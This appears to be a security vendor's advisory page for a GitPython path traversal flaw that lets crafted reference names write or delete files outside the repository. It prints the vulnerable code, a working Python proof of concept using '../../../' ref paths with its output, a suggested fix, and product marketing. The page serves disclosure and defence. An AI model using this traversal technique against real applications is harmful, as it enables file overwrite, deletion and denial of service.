GHSA-7545-fcxq-7j24
HIGHGHSA-7545-fcxq-7j24 is a high-severity (CVSS 7.1) vulnerability in gitpython. O3 Security confirms whether GHSA-7545-fcxq-7j24 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository
Real-World Exposure
gitpythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
🧾 Summary
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.
📦 Affected Versions
- Affected:
<= 3.1.46and currentmain(3.1.47in local checkout)
🧠 Details
Vulnerability Type
Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.
Affected Code
def set_reference(self, ref, logmsg=None):
...
fpath = self.abspath
assure_directory_exists(fpath, is_file=True)
lfd = LockedFD(fpath)
fd = lfd.open(write=True, stream=True)
...
@classmethod
def delete(cls, repo, path):
full_ref_path = cls.to_full_path(path)
abs_path = os.path.join(repo.common_dir, full_ref_path)
if os.path.exists(abs_path):
os.remove(abs_path)
def rename(self, new_path, force=False):
new_path = self.to_full_path(new_path)
new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
...
os.rename(cur_abs_path, new_abs_path)
Attack Vector
Local attack through application-controlled input passed into GitPython reference APIs
Authentication Required
None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.
🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py
Exploit
import shutil
from pathlib import Path
from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference
base = Path("gp-ghsa-poc").resolve()
if base.exists():
shutil.rmtree(base)
repo_dir = base / "repo"
repo = Repo.init(repo_dir)
(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")
outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")
print(f"repo_dir = {repo_dir}")
print(f"outside_write = {outside_write}")
print(f"outside_delete = {outside_delete}")
Reference.create(repo, "../../../outside_write.txt", "HEAD")
print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
print("[+] outside_write content:")
print(outside_write.read_text(encoding="utf-8"))
SymbolicReference.delete(repo, "../../../outside_delete.txt")
print("\n[+] outside_delete exists after delete:", outside_delete.exists())
Result
repo_dir = ...\gp-ghsa-poc\repo
outside_write = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt
[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>
[+] outside_delete exists after delete: False
💥 Impact
What can an attacker do?
- Create or overwrite files outside the repository metadata directory
- Delete attacker-chosen files reachable from the process permissions
- Corrupt application state or configuration files
- Cause denial of service by deleting or overwriting important files
Security Impact
- Confidentiality: Low
- Integrity: High
- Availability: High
Who is affected?
- Applications that expose GitPython reference operations to user-controlled input
- Git automation services, repository management backends, CI/CD helpers, and developer platforms
- Multi-user environments where one user can influence ref names processed on behalf of another workflow
🛠️ Mitigation / Fix
Recommended Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
SymbolicReference._check_ref_name_valid(path)
base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
target = (base / path).resolve()
if base not in [target, *target.parents]:
raise ValueError(f"Reference path escapes repository boundary: {path}")
return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | all versions | 3.1.48 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update gitpython to 3.1.48 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7545-fcxq-7j24 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7545-fcxq-7j24 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7545-fcxq-7j24. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7545-fcxq-7j24 in your dependencies?
O3 detects GHSA-7545-fcxq-7j24 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.